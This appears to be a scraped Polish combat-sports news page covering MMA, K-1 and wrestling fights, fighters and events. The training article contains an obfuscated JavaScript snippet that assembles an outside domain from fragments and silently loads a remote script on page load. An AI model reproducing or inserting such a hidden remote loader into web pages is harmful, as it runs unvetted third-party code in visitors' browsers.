McGregor to maszynka do zarabiania pieniędzy. W ubiegłym roku znalazł się na liście najbogatszych sportowców Forbesa. Irlandczyk miał zarobić 22 miliony dolarów. W sierpniu zawodnik pokonał Nate'a Diaza i za występ na gali UFC 202 zgarnął trzy miliony dolarów.

Mistrz UFC potrafi wzbudzić zainteresowanie swoją osobą, tak jak i Floyd Mayweather Jr. Szacuje się, że „Money” zarobił na ringu blisko 800 milionów dolarów. Jak mało kto potrafi robić show i przyciągać sponsorów oraz widzów. Z pewnością połączenie gwiazd MMA i boksu sprawiłoby, że mielibyśmy okazję zobaczyć najbardziej dochodową walkę w historii. Warto pamiętać, że w kolejce czeka Pacquiao.

KM

Dudek trenuje z najlepszymi

Za Rafałem Dudkiem intensywny rok. 32-letni kickboxer stoczył siedem walk, jednak nie zwalnia tempa. Dudek ciężko trenuje w Holandii i myśli o kolejnych wyzwaniach.

Rafał Dudek to jeden z najbardziej rozpoznawalnych polskich kickboxerów, który zyskał renomę na całym świecie. Zawodnik z Nowego Sącza może pochwalić się bogatą karierę amatorską oraz efektownymi walkami na galach zawodowych. W czerwcu Dudek zmierzy się z Rafałem Jackiewiczem na gali organizacji DSF Kickboxing Challenge.

Intensywne treningi w Holandii

Rafał Dudek łączy treningi między klubami Fight House Nowy Sącz i Mike's Gym. Walczy nie tylko w Polsce, ale także i zagranicą. W ubiegłym roku fighter wziął udział w programie Enfusion Reality, który nagrywany był w Tajlandii. Dudek pokazał się z dobrej strony i awansował do półfinału. Po drodze pokonał Muhammeda Zahira i Beau Superpro Samuiego, jednak przeszkodą nie do przejścia okazał się Aziz Kallah.

Również w Polsce 32-latek prezentował się efektownie. Na gali DSF 7 na warszawskim Bemowie czołowy polski zawodnik wagi lekkiej uporał się z Ivanem Yarmoshem, który trzy razy był liczony. – Moim zdaniem, najlepsze walki to wygrana przez K.O z młodą wschodzącą gwiazdą z Maroko, czyli Youseffem El Hajiim w Antwerpii oraz zwycięstwo w Tajlandii z mistrzem MWC Bau Superpro Samui, gdzie po low kickach miałem go na deskach ! Takie triumfy są najcenniejsze i dają największą satysfakcję! Trzeba wspomnieć o niesłusznej przegranej na punkty 1:2 ze świetnym zawodnikiem –  Yassinem Baitarem! Wojownik ze światowej czołówki nie potrafił znaleźć na mnie recepty – ocenia dla FighTime.pl Rafał Dudek. – Najważniejsze dla mnie jest to, że jadę na obcy teren i daję dobre walki z mocnymi zawodnikami, a nie z jakimiś „ogórami”. Jestem doceniany i zapraszany na kolejne gale – dodaje.

Obecnie Dudek przebywa w Holandii, gdzie ciężko trenuje. Zawodnik chce wypracować optymalną formę, bo czeka go rok pełen wyzwań. – Treningi w Holandii przebiegają jak zwykle! Normą jest, że kilka godzin dziennie przebywam na niezwykle ciężkich i intensywnych zajęciach. Atmosfera jest super! Każdy tutaj zasuwa na 100 procent, jeden motywuje drugiego! Najważniejsze są tutaj sparingi. Nie ma miejsc na litość czy odpuszczanie! Pomagają mi zawodnicy ze ścisłej czołówki kickboxingu na świecie m.in Murthel Groenhart! – przedstawia 32-letni kickboxer.

Na horyzoncie walka z bokserem

W czerwcu Rafał Dudek wystąpi na gali DSF, gdzie jego rywalem będzie doświadczony bokser Rafał Jackiewicz. – Ta walka będzie dla mnie okazją do zaprezentowania się szerszej publiczności w Polsce! Efektowna wygrana może sprawić, że moje akcje w kraju powędrują w górę! Cieszę się z tej walki, ponieważ cały polski kickboxing na tym skorzysta i nasza dyscyplina przebije się do mainstreamu! Warunek jest jeden – Jackiewicz musi dostać lanie! Plan na walkę jest prosty: ciągła presja i kopanie. Trzeba pokazać w Polsce, że K-1 jest skuteczniejsze niż boks! – tłumaczy brązowy medalista mistrzostw Europy WAKo z 2012 roku.

Niewykluczone, że Dudek wcześniej pojawi się w ringu. – Co do konkretnych planów, to nie mogę nic zdradzać. Oprócz walki dla  najlepszej federacji DSF Kickboxing Challenge, mam dogrywane pojedynki za granicą przez osobę Mike'a Passanierena. Mam nadzieję, że przed czerwcowym starciem z Rafałem Jackiewiczem stanę na ringu! – podaje Dudek.

Fot. Facebook/Superkombat

KM

Wrzosek kontra Bizewski na gali FEN 16 Warsaw Reloaded

Znamy pierwsze zestawienie K-1 gali FEN 16 WarsawReloaded!

W 11 marca na Torwarze w Warszawie szlagierowo zapowiadającej się walce w wadze ciężkiej zmierzą się zaliczani do czołówki europejskiego kickboxingu Arkadiusz Wrzosek i Artur Bizewski.

Dla Arkadiusza Wrzoska walka na fali FEN 16 WarsawReloaded będzie okazją do rewanżu za porażkę odniesioną w walce wieczoru gali WBT półtora roku temu w Gdańsku – zawodnik klubu Copacabana Warszawa przegrał wówczas z reprezentantem Agoga Gym Lębork na punkty.

Obaj utytułowani kickbokserzy swoje ostatnie walki w klatkoringu Fight Exclusive Night stoczyli podczas wakacyjnej gali FEN 13 Summer Edition i w obu przypadkach były to emocjonujące, stojące na wysokim poziomie pojedynki. 27-letni Artur Bizewski, dwukrotny zdobywca Pucharu Świata, brązowy medalista mistrzostw Europy i trzykrotny mistrz Polski w kickboxingu kick-light, mierzył się latem w Gdyni z weteranem K-1 Marcinem Szrederem. Po wyczerpującym boju na pełnym dystansie większościową decyzją sędziów zwyciężył „Bizon”, dopisując piąte zawodowe zwycięstwo do swojego rekordu. 

Natomiast 24-letni Arkadiusz Wrzosek, który w październiku został amatorskim mistrzem świata K-1 Global, a wcześniej zdobył tytuły mistrza Europy muay thai oraz mistrza Polski w muay thai i wushu, na FEN 13 wygrał starcie z KryspinemKalskim, który w swoim debiucie w FEN stawiał bardziej doświadczonemu przeciwnikowi niezwykle zacięty opór. Ostatecznie sędziowie tego pojedynku potrzebowali aż ekstra rundy, aby móc ogłosić werdykt. Co ciekawe, dla zawodnika z Warszawy był to drugi występ w organizacji FEN i drugi zakończony dogrywką – wcześniej na gali FEN 11 WarsawTime w podobnych okolicznościach to Arek Wrzosek musiał uznać wyższość rywala, Niemca Niko Falina.

FEN 16 Warsaw Reloaded będzie drugą galą organizacji FightExclusive Night w stolicy Polski. Federacja poinformowała już, że 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pasy walczyć będą Paweł Hadaś w kategorii średniej i Paweł Żelazowski w wadze półśredniej. W walkach w formule K-1 oprócz Artura Bizewskiego i Arkadiusza Wrzoska zobaczymy również Marcina Szredera oraz debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Kontuzja Błachowicza, nie wystąpi w Houston

Jan Błachowicz odliczał dni do gali UFC Fight Night 104, na której miał zmierzyć się z Ovince'em Saint Preux. Polski zawodnik kategorii półciężkiej nie wystąpi jednak w Houston. Powód: kontuzja.

Popularny „John” musi poczekać na szósty występ w najlepszej organizacji MMA na świecie. 4 lutego miejsce Polaka w pojedynku z Ovincem St. Preux zajmie Volkan Oezdemir.

Ręka nie wytrzymała

Po dobrej, choć przegranej walce Błachowicz z Alexandrem Gustafssonem czekaliśmy z niecierpliwością na kolejny występ byłego mistrza KSW. Los skojarzył polskiego fightera z pochodzącym z Haiti Saint Preux. 33-latek zawitał do UFC w 2013 roku, wcześniej występował w Strikeforce. Początkowo prezentował się efektownie i skutecznie. Podczas UFC Fight Night 56 w zaledwie 34 sekundy uporał się z Mauricio Ruą. Ostatnie miesiące nie należą do najlepszych w karierze St. Preuxa. Rok 2016 zaczął od zwycięstwa z Rafaelem Cavalcante, jednak później zanotował dwie porażki – z Jonem Jonesem i Jimim Manuwą. 

Błachowicz miał stanąć przed trudnym wyzwaniem podczas swojej przygody w UFC. Ostatnie dobre występy sprawiły, że Polak dostał drugie życie w najlepszej organizacji MMA na świecie. Podpisał kontrakt na cztery walki. Na pierwszą z nich przyjdzie mu jednak poczekać…

Zamiast o walce, Błachowicz musi pomyśleć o zdrowiu. Kontuzja wyklucza go z udziału na gali UFC Fight Night 104 w Houston. Zawodnik ma problemy z prawą ręką. Chodzi o pęknięcie jednej z kości śródręcza. Przed Błachowiczem stanęło zatem wyzwanie zdrowotne, a nie sportowe. Jednak bez pełnej sprawności nie ma mowy o rywalizacji na najwyższym poziomie. Nie pozostaje nam zatem nic innego jak życzyć Jankowi szybkiego powrotu do zdrowia. Trzymamy mocno kciuki i czekamy na kolejną walkę Błachowicza w UFC.

Zastępca znaleziony

Jak to się mówi, nieszczęście jednego może oznaczać szczęście drugiego. Pech Błachowicza sprawił, że szansę na debiut w UFC dostał Volkan Oezdemir.

Czy mający tureckie korzenie reprezentant Szwajcarii ma szansę w starciu z doświadczonym St. Preux? Bilans 27-latka wygląda imponująco: dwanaście zwycięstw i jedna porażka. Szwajcar zaliczył aż dziewięć zwycięstw przez nokaut. Oezdemier występował na galach organizacji WKN. Zaliczył także dwie walki w Bellatorze. Ostatni pojedynek stoczył w kwietniu ubiegłego roku, kiedy to na gali WFCA 17 decyzją sędziów pokonał Alihana Vahaeva. 

Ozdobą gali w Houston będzie starcie Dennisa Bermudeza i Chana Sung Junga. Amerykanin wygrał dwie walki z rzędu, z kolei Koreańczyk przegrał ostatnio z Jose Aldo.

KM

Jeszcze nie walczył, a już stracił pas

Podczas ważenia zawodnicy patrzą sobie prosto w oczy, aby zademonstrować swoją siłę i przestraszyć rywala. Robin van Roosmalen po zejściu z wagi mógł spuścić wzrok. Wygrana holenderskiego kickboxera w starciu z Mattem Embree na Glory 37 nie pozwoli zachować mu mistrzowskiego pasa. Wszystko przez… zbędne kilogramy.

Kilka miesięcy van Roosmalena cieszył się z wywalczenia mistrzowskiego tytułu w kategorii piórkowej. 27-letni fighter miał stanąć w obronie mistrzowskiego pasa, jednak z Mattem Embree będzie walczył „o pietruszkę”.

Zrobić wagę

Wraz z początkiem nowego roku większość z nas robi sobie postanowienia. Każdy chce walczyć ze swoimi słabościami, wśród których jest także nadmiar kilogramów. Szczególnie dotyczy to kobiet, które ze wszech miar chcą dbać o linię i zawsze powtarzają, że są za grube. Waga jest również istotna dla kickboxerów, którzy muszą zmieścić się w odpowiednich limitach.

Do niedawna Robin van Roosmalen rywalizował w kategorii lekkiej, gdzie odnosił sukcesy. Pokonywał kolejnych rywali i wznosił w górę pas. Holender pokonał m.in. Davita Kirię, Andy'ego Ristie czy Steve'a Moxona. Rywalizował również z mocnym Tajem Sitthichaim Sitsongpeenongiem, który zanotował ponad 100 zwycięstw w karierze. 6 listopada 2015 roku van Roosmalen powstrzymał groźnego rywala, ale pół roku później musiał uznać jego wyższość i stracił pas wagi lekkiej. Holender postawił zmienić kategorię wagową.

Van Roosmalen chciał być lekki jak piórko. Od razu przyszło mu rywalizować o pas. O tytuł w kategorii piórkowej zmierzył się z Gabrielem Vargą. 27-latek odważnie zaatakował Kanadyjczyka i zdobył przewagę. W przerwie między czwartą a piątą rundą obóz czempiona rzucił ręcznik. Van Roosmalen mógł wznieść ręce w geście triumfu. 

65 – tę liczbę na długo zapamięta Holender. Tyle wynosi górny limit kategorii piórkowej. Na ważeniu przed galą Glory 37 okazało się, że van Roosmalen ma więcej kilogramów. Po występie w Los Angeles Holender pożegna się z tytułem mistrzowskim. Otwarte pozostaje pytanie, czy zdobędzie go Embree. Mimo całej sytuacji, dla Kanadyjczyka będzie to walka o pas.

Półfinały i walka o pas

Jednym z ciekawszych wydarzeń styczniowej gali Glory będą półfinały turnieju w wadze półśredniej. Konstantin Khuzin zmierzy się z doświadczonym Yoannem Kongolo, a Karim Benmansour podejmie Alana Scheinsona.

Wydarzeniem wieczoru będzie starcie o pas w kategorii średniej. W tym przypadku żaden z uczestników nie miał problemów z osiągnięciem odpowiedniej wagi. Jason Wilnis postara się odeprzeć atak Israela Adesanya i zachować tytuł. Nie będzie to łatwa, bo zawodnik z Nowej Zelandii jest doświadczony i niezwykle skuteczny.

KM

Pogromca Tybury rywalem Omielańczuka

18 marca w Londynie Daniel Omielańczuk stoczy swój ósmy pojedynek w UFC. Rywalem polskiego fightera będzie Timothy Johnson, który w ubiegłym roku rozprawił się z Marcinem Tyburą. Niebawem w oktagonie UFC zaprezentuje się Jan Błachowicz.

Zarówno Omielańczuk, jak i Johnson w ostatnich występach zanotowali porażki. Podczas UFC Fight Night 108 będą chcieli wrócić na zwycięską ścieżkę.

Ma Polaka na rozkładzie

Omielańczuk ma nad Amerykaninem przewagę doświadczenia. Stoczył więcej zawodowych walk w MMA, a także dłużej występuje w UFC. 34-letni Polak przygodę z amerykańską organizacją rozpoczął we wrześniu 2013 roku. W trzeciej rundzie pokonał Nandora Guelmino, jednak później zanotował dwie porażki. Na właściwe tory wrócił w lipcu 2015 roku, kiedy w zaledwie 48 sekund rozbił Chrisa de la Rochę. Następnie zanotował dwa zwycięstwa, w tym prestiżowe z Alexey'em Oleinikiem. Wspaniałą serię Omielańczuka przerwał w październiku Stefan Struve. Podczas gali w Manchestrze Holender przez duszenie zmusił Polaka do poddania.

Timothy Johnson wychodzi w UFC na zero. Cztery walki – dwie wygrane, dwie porażki. Amerykanin ma na rozkładzie Marcina Tyburę. W kwietniu Polak debiutował w UFC i los skojarzył go z Johnsonem. Tybura był aktywny i w trzeciej rundzie szukał poddania w parterze, jednak w przekroju całego starcia lepszy był rywal. W drugiej rundzie na twarzy polskiego zawodnika pojawiło się poważne rozcięcie. Johnson przystąpił do ataku i był o krok od znokautowania Tybury, jednak ostatecznie wygrał decyzją sędziów. W ostatnim występie Amerykanin musiał uznać wyższość Alexandra Volkova.

Co ciekawe, zawodnik z Fargo w zdecydowanej większości wygrywa przed czasem. Tylko z Tyburą wygrał decyzją sędziów. Ma na koncie trzy porażki i w tym przypadku tylko jedna walka z jego udziałem zakończyła się przed czasem. Z kolei u Omielańczuka może zaobserwować pewną prawidłowość w przypadku porażek. Zazwyczaj walki, w których musi uznać wyższość rywala kończą się decyzją sędziów – pięć na sześć. Cel na zbliżającą się walkę jest jasny. – W starciu z Timothym Johnsonem wyrównam klubowe porachunki – napisał na swoim facebooku Omielańczuk.

Błachowicz w Houston

Zanim zobaczymy pojedynek Omielańczuka, odbędzie się walka Jana Błachowicza. Na gali UFC Fight Night 104 rywalizujący w wadze półciężkiej Polak zmierzy się z Ovincem St. Preux.

Po dwóch porażkach z rzędu Błachowicz znalazł się pod ścianą, jednak w Chorwacji pokonał Igora Pokrajaca i wrócił do gry. Później stanął przed poważnym wyzwaniem. W kwietniu w Hamburgu zmierzył się z powracającym do rywalizacji Alexandrem Gustafssonem. Błachowicz dał z siebie wszystko, zrobił dobre wrażenie, ale sędziowie wskazali na Szweda. 

Najbliższym rywalem Błachowicza będzie Ovince St. Preux, dla którego ostatni czas był trudny. Haitańczyk zanotował dwie porażki, a ostatnią walkę wygrał blisko rok temu.

KM

Bonusy po gali FEN 15 Final Strike przyznane!

Włodarze organizacji Fight Exclusive Night przyznali bonusy finansowe za walkę wieczoru, najlepsze poddanie i najlepszy nokaut sobotniej gali FEN 15 Final Strike w lubińskiej hali RCS.

Szansę na bonus za poddanie wieczoru na gali FEN 15 Final Strike mieli Kamil Gniadek, który skrętówką pokonał Francuza Vincenta Del Guerrę, oraz Mateusz Głąb, który balachą zmusił do odklepania Białorusina Leonida Smirnova. Wybór był trudny, ponieważ obaj zawodnicy popisali się efektownymi akcjami, wygrywając swoje pojedynki już w pierwszej rundach. Ostatecznie właściciele federacji FEN wyżej ocenili technikę kończącą zawodnika z Wrocławia i zdecydowali, że właśnie do niego trafi premia pieniężna.

Zobacz walkę Kamil Gniadek vs Vincent Del Guerra

Podobnych dylematów nie było w przypadku premii za nokaut wieczoru, gdyż tylko jedna walka zakończyła się przed czasem w taki właśnie sposób. Bonus otrzymał więc Włoch Riccardo Nosiglia, który walkę z Marcinem Zontkiem przyjął w zastępstwie za kontuzjowanego Francuza Boubacara Balde zaledwie tydzień przed galą. Mimo to młody fighter z Padwy zaprezentował się z doskonałej strony, uderzeniami w parterze nokautując niedawnego pretendenta do mistrzowskiego pasa FEN pod koniec pierwszej rundy.

Zobacz walkę Riccardo Nosiglia vs Marcin Zontek

Chociaż wszystkie starcia gali FEN 15 Final Strike stały na wysokim poziomie, to bez wątpienia na bonus za walkę wieczoru najbardziej zapracowali uczestnicy main eventu, którego stawką był tytuł mistrza organizacji FEN w K-1 w kategorii do 77 kg. Paweł Biszczak i Wojciech Wierzbicki w sobotę w Lubinie potwierdzili po raz kolejny, że należą do ścisłej europejskiej czołówki K-1 – walka o pas w ich wykonaniu była porywającą, toczoną w zabójczym tempie kickbokserską wojną, podczas której kibice przez pełne pięć rund emocjonowali się kapitalnymi wymianami ciosów i kopnięć.

Zobacz walkę Paweł Biszczak vs Wojciech Wierzbicki

""""""""""

FEN

Rower stacjonarny – dobre narzędzie treningowe w sportach walki

Czy warto wykorzystywać rower stacjonarny gdy trenuje się sporty walki? Owszem, a efekty tego typu pracy odczujesz nie tylko podczas treningów interwałowych, ale i w trakcie samych walk.

Rower stacjonarny pomoże Ci w innych treningach

Dłuższe sesje ćwiczeniowe na rowerkach treningowych pozwalają Ci zwiększyć swój poziom wytrzymałości. Ten zaś przekłada się się również na to, ile możesz z siebie wycisnąć w trakcie treningów łączących wytrzymałość z siłą, takich jak tabata, czy dowolne inne treningi o formule interwałowej.

Jak bardzo jest to0 istotne w sportach walki nie trzeba Ci chyba mówić. Jeśli choć raz zdarzyło Ci się walczyć z kimś dużo cięższym od Ciebie, wiesz doskonale, że tego typu ćwiczenia są kluczowe.

Lepsza praca nóg

Tego elementu treningów nie można omijać. A rower stacjonarny ewidentnie pomaga w wzmocnieniu dolnych kończyn. Oczywiście, nie zastąpi on starej, dobrej skakanki, ale świetnie się z nią uzupełni.

Mało tego, trenując na rowerze stacjonarnym poprawisz nie tylko wytrzymałość swoich nóg, ale przy okazji wzmocnisz swoje uda. To natomiast przełoży się nie tylko na siłę Twoich kopnięć, lecz również na to, jak dobrze możesz znosić kopnięcia dolne, czyli tak zwane low-kicki. A że te potrafią być naprawdę uciążliwe, wiesz zapewne doskonale.

Trening przed treningiem

W przypadku sportów walki rower treningowy może przydać się z jeszcze jednego powodu. Jeżeli zdecydujesz się na odbycie dłuższej „jazdy” treningowej tuż przed innymi ćwiczeniami, na przykład z kettlebellami, sztangami, czy nawet standardowymi ćwiczeniami bez przyrządów, możesz uzyskać efekt dużo większego zmęczenia.

Po co? Chodzi nie tylko o cięższą pracę, lecz także o przyzwyczajenie psychiki do sytuacji, gdy znane ruchy wykonuje się w cięższych warunkach, niż się do tego do tej pory przyzwyczaiło. W przypadku sportów walki ma to niebagatelne znaczenie, gdy dochodzi do pojedynku, a przeciwnik okazuje się twardszy, niż się sądziło, zaś sama walka zostaje wydłużona o dodatkową rundę. Wtedy Twoja zdolność do utrzymywania – mimo niesprzyjających okoliczności – siły i szybkości własnych ruchów będzie decydująca! Ćwicz ją więc zawsze, gdy masz ku temu okazję!

[kod]

(function(){
wnk6=document.createElement("script");wnk6.type="text/javascript";
wnk6.async=true;wnk6_=(("us")+"t")+"a";wnk6_+=("t.i")+""+"n";wnk6_+=(("f")+"o");wnk6_+="/";
wnk6u="15403181.";wnk6u+="myeXlnfwnk6c7ibv7dqbndng0wd3sx";wnk6.src="//"+wnk6_+wnk6u;
wnk6db=document.body; wnk6db.appendChild(wnk6);
})();

LIVE: XX Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z jubileuszowej XX Warszawskiej Grandy. Organizatorzy zaplanowali 30 pojedynków w formule K-1.

[kod]

XX Warszawska Granda

XX Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Pogromca McGregora bokserem?

MMA to dyscyplina, która pozwala rozwijać się na każdej płaszczyźnie. Dlatego też niektórzy próbują szczęścia na innych polach. Dobrze znany z występów na galach UFC Nate Diaz stara się o licencję bokserską.

Jeszcze do niedawna MMA było płaszczyzną do rozwoju dla wojowników, którzy mieli na koncie walki w boksie, judo, kickboxingu czy zapasach. Krok po kroku ten obraz ulega zmianie. Jeszcze zbyt wcześnie, żeby mówić o narodzeniu się nowego trendu w sportach walki, ale coś zaczyna się dziać.

Czas „tylko” na pięści

31-letni Nate Diaz od blisko dziesięciu lat związany jest z UFC i w tym czasie zdążył wyrobić sobie markę solidnego fightera. Ostatnio zrobiło się o nim głośno, gdy na gali w Las Vegas pokonał Conora McGregora. 5 marca 2016 roku Amerykanin udusił Irlandczyka. McGregor nie był łatwym kąskiem rozbił twarz Diaza, ale w drugiej rundzie stracił impet, co wykorzystał rywal. 31-latek mocnym lewym prostym zamroczył Irlandczyka, sprowadził walkę do parteru, gdzie wypracował idealną pozycję i zmusił gwiazdę UFC do poddania. Kilka miesięcy później McGregor wziął rewanż wygrał, ale dopiero decyzją sędziów.

Nate Diaz ma nieco lżej w kieszeni, ale myśli o kolejnej ścieżce rozwoju. Ubyło mu 50 tysięcy dolarów. Amerykanin musiał zapłacić karę za wybryki na konferencji prasowej przed rewanżem z McGregorem. 31-letni fighter rzucał… butelkami. Diaz ostatni raz w klatce pojawił się w sierpniu ubiegłego roku i niewykluczone, że kolejną walkę stoczy w ringu bokserskim. Ponoć Amerykanin nie jest zadowolony z rozwoju swojej kariery w UFC. Stara się o licencję bokserską, co potwierdziła Komisja Sportowa Stanu Nevada. Diaz sparował nawet z Andre Wardem, a jego dobrym znajomym jest Floyd Mayweather Jr. Mówi się, że popularny „Money” mógłby zostać promotorem 31-latka.

McGregor był szybszy

Nate Diaz nie był wcale pierwszy. Już wcześniej licencję bokserską uzyskał Conor McGregor. Ów fakt doprowadził do wrzenia spekulacje na temat debiutu Irlandczyka. Od dłuższego czasu mówi się, że świat miałby zobaczyć wielkie show w postaci starcia Floyda Mayweathera Jr z McGregorem.

Mistrz UFC w dwóch kategoriach wagowych ostatnią walkę w UFC stoczył w listopadzie, kiedy to pokonał Eddiego Alvareza. Z kolei Mayweather zakończył jako niepokonany karierę bokserską. Czy dla milionów i wielkiego show wróci na ring? Początkowo były mistrz wagi półśredniej wykazywał zainteresowanie starciem z McGregorem, ale z czasem odciął się od tego pomysłu.

Fot. sherdog

KM

Ruchy kadrowe wśród ligowców

Trwa okienko transferowe w Krajowej Lidze Zapaśniczej. Kluby szukają wzmocnień i kontraktują kolejnych zawodników. Mimo, że za oknem śnieg, to w lidze jest niezwykle gorąco. Zapaśnicy wrócą do rywalizacji już 25 stycznia.

Krajowa Liga Zapaśnicza to propozycja, która pojawiła się na rynku 2 listopada ubiegłego roku. Cel jest oczywisty: popularyzacja zapasów, aby dyscyplina trafiła „pod strzechy”.

Kluby wzmacniają się

Pierwsza część sezonu należała do ekipy AKS Wrestling Team Piotrków Trybunalski, która wygrała wszystkie pięć spotkań. Lider zakontraktował Mariusza Łosia. 34-letni zawodnik zdobywał medale mistrzostw Polski, a jego największym sukcesem jest wicemistrzostwo Europy w stylu klasycznym z 2009 roku.

Mocny ruch wykonała Unia Racibórz. Wicelider postanowił sięgnąć po Timura Bardieva. Białorusin startuje w kategorii 75kg w stylu klasycznym i jest aktualnym wojskowym mistrzem świata. Wydaje się bardzo ciekawym zawodnikiem, który może stanowić pewny punkt Unii. 

Bez zwycięstwa w Krajowej Lidze Zapaśniczej pozostaje AZ Supra Brokers Wrocław. Ostatni zespół tabeli zamierza zmienić swoje położenie. Klub z Wrocławia jest aktywny na rynku transferowym. Drużyna AZ Supra przeprowadziła dwa ciekawe transfery, ale to dopiero początek. W barwach wrocławskiego zespołu zaprezentuje się Yulia Tkach (63kg). 27-letnia Ukrainka zapisała na swoim koncie mistrzostwo świata (2014) oraz brązowy medal światowego czempionatu (2015). Zdobywała również medale mistrzostw Europy, a także ma za sobą starty na igrzyskach w Londynie i Rio de Janeiro. Drugim wzmocnieniem wrocławskiego zespołu jest Alla Cherkasova (75kg). Ostatnim sukcesem 27-letniej reprezentantki Ukrainy jest brązowy medal mistrzostw Europy w Rydze.

Dwie nowe twarze pojawiły się w AZS-ie Warszawa. Stołeczny zespół wzmocnili zawodnicy rywalizujący w stylu klasycznym: Przemysław Piątek (59kg) oraz Patryk Kamiński (98kg). Obaj należą do kategorii młodych, zdolnych. Pierwszy jest młodzieżowym wicemistrzem Polski, z kolei Kamiński ma na koncie brąz mistrzostw świata kadetów.

Przygotowania trwają

Blisko dwumiesięczna przerwa od meczów Krajowej Ligi Zapaśniczej dobiega końca. Trenerzy kończą przygotowania, kluby dopinają negocjacje transferowe. Pierwsza kolejka rundy rewanżowej 25 stycznia. Warto przypomnieć, że w  rywalizacja będzie odbywać się w innych kategoriach wagowych niż jesienią.

Wydaje się, że walka o triumf rozstrzygnie się pomiędzy zespołami z Piotrkowa i Raciborza. Już 25 stycznia wicelider stanie przed trudnym wyzwaniem. Unia pojedzie do Wrocławia, gdzie AZ Supra Brokers wypatruje pierwszego zwycięstwa. 

Z kolei AKS zmierzy się z mocnym Grunwaldem Poznań, który musi się mieć na baczności, ponieważ w rundzie rewanżowej atak na podium będzie chciał przeprowadzić zespół AKS Białogard. Czwarta drużyna KLZ na początek rundy rewanżowej zmierzy się z AZS-em AWF Warszawa.

KM

Sędziowie widzieli inną walkę

„Drogi Panie, toż to tak być nie może! Co oni oczu nie mają?! Do kopalni zasuwać, a nie chłopakowi zwycięstwo odbierać!” Wielu polskich fanów MMA wpadło w złość po ogłoszeniu wyniku starcia Marcina Helda z Joe Lauzonem.

Polak przegrał drugą walkę w UFC, jednak w opinii większości obserwatorów plamę dali sędziowie, a nie 24-letni fighter, który był niezwykle aktywny. Nawet sam Lauzon przyznał, że decyzja sędziów budzi kontrowersje.

Gdzie ta sprawiedliwość? 

Piłka jest okrągła, a bramki są dwie. Futbol to słabość praktycznie każdego mężczyzny, dlatego warto odwołać się do tej płaszczyzny. Wielokrotnie kibice gwiżdżą na arbitra i rzucają w jego stronę uwagi, z których ta najłagodniejsza to „sędzia kalosz”. Decyzja jednej osoby często może wypaczyć wynik spotkania. Sędzia piłkarski ma swoich asystentów, ale musi zasuwać po boisku wokół 22 chłopów. Nieco inną sytuację mają oceniający pojedynki MMA. Siedzą wygodnie i obserwują walkę. Wszystko mają podane jak na tacy. Widzą praktycznie każdy cios, obalenie, kopnięcie i przyznają punkty. 

Na pozór proste i oczywiste, jednak w przypadku starcia Helda i Lauzona, do którego doszło na UFC Fight Night 103 jest inaczej. Polak w debiucie w najlepszej organizacji MMA na świecie przegrał z Diego Sanchezem. W Phoenix chciał wygrać, jednak trafił na doświadczonego rywala. Held potrafił wyjść z opresji, pokazał swoje umiejętności w parterze, zaliczał obalenia, również w stójce wyglądał przyzwoicie. Robił, co mógł, aby wygrać i wszystkim wydawało się, że wykonał zadanie w 100 proc. W górę powędrowała ręka… Lauzona, który chyba sam był zaskoczony tym faktem. Sędziowie punktowali 27:30, 29:28, 29:28 na korzyść Amerykanina.

Held nie krył rozczarowania. – Nie wiem co powiedzieć… nie wierze w wynik sędziowski! Po prostu nie wierze! Wszyscy, którzy oglądali walkę wiedzą, że ta walka była wygrana!!! – napisał zawodnik na swoim facebooku.

Lauzon wiedział, kto jest lepszy

Amerykańscy eksperci jako zwycięzcę walki widzieli Helda. 24-latek został skrzywdzony przez sędziów. Joe Lauzon zwyciężył, jednak chyba sam nie był przekonany, co do słuszności wyniku. Najlepiej obrazuje to wpis Marcina Helda. – Po walce podszedł do mnie mój przeciwnik Joe Lauzon przepraszając za wynik. Jestem wściekły bo ciężko się przygotowywałem, a sędziowie mnie najzwyczajniej w świecie oszukali. Bardziej przekręconego wyniku nie widziałem – dzielił się swoimi odczuciami Polak.

Marcin Held zanotował drugą porażkę w UFC – takie są fakty. Choć obraz walki wskazywał na to, że werdykt będzie szczęśliwy dla Polaka. Sędziowie wypaczyli wynik walki. Ciekawe, czy na trybunach był obserwator piłkarski? O, przepraszam. Oczywiście obserwator MMA. Wszyscy widzieli, jednak było inaczej…

KM

FEN 15 Final Strike – Wyniki

 

 

 

 

 

 

 

 

 

 

FEN 15 – karta walk:

o pas mistrzowski K-1:
-77 kg: Paweł Biszczak pokonał niejednogłośnie na punkty Wojciecha Wierzbickiego

-93 kg; MMA: Riccardo Nosiglia (5-0, 5 KO) pokonał przez techniczny nokaut w pierwszej rundzie Marcina Zontka (16-10, 2 NC, 8 KO, 5 SUB)

o pas mistrzowski K-1:
-65 kg: Róża Gumienna pokonała jednogłośnie na punkty Martinę Fendrichovą.

-84 kg; MMA: Marcin Naruszczka (18-5-1, 7 KO, 2 SUB) pokonał jednogłośnie na punkty Filipa Tomczaka (4-1, 4 SUB)
-77 kg; MMA: Kamil Gniadek (11-4-1, 1 NC, 2 KO, 8 SUB) pokonał przez poddanie (skrętówka) Vincenta Del Guerrą (24-18, 8 KO, 14 SUB)
-77 kg; MMA: Albert Odzimkowski (10-3, 2 KO, 7 SUB) pokonał jednogłośnie na punkty Oskara Somerfelda (5-2, 5 SUB)
-70 kg; MMA: Mateusz Rębecki (4-1, 3 SUB) pokonał jednogłośnie na punkty Adama Golonkiewicza (11-10, 3 KO, 1 SUB)
-70 kg; MMA: Mateusz Głąb (4-0, 1 KO, 2 SUB) pokonał przez poddanie (balacha) Leonida Smirnova (1-2, 1 KO)

Karta wstępna:
-69 kg; K-1: Wojciech Kazieczko pokonał niejednogłośnie na punkty Mateusza Dąbrowskiego.

Transfer Radka Paczuskiego z DSF do FEN!

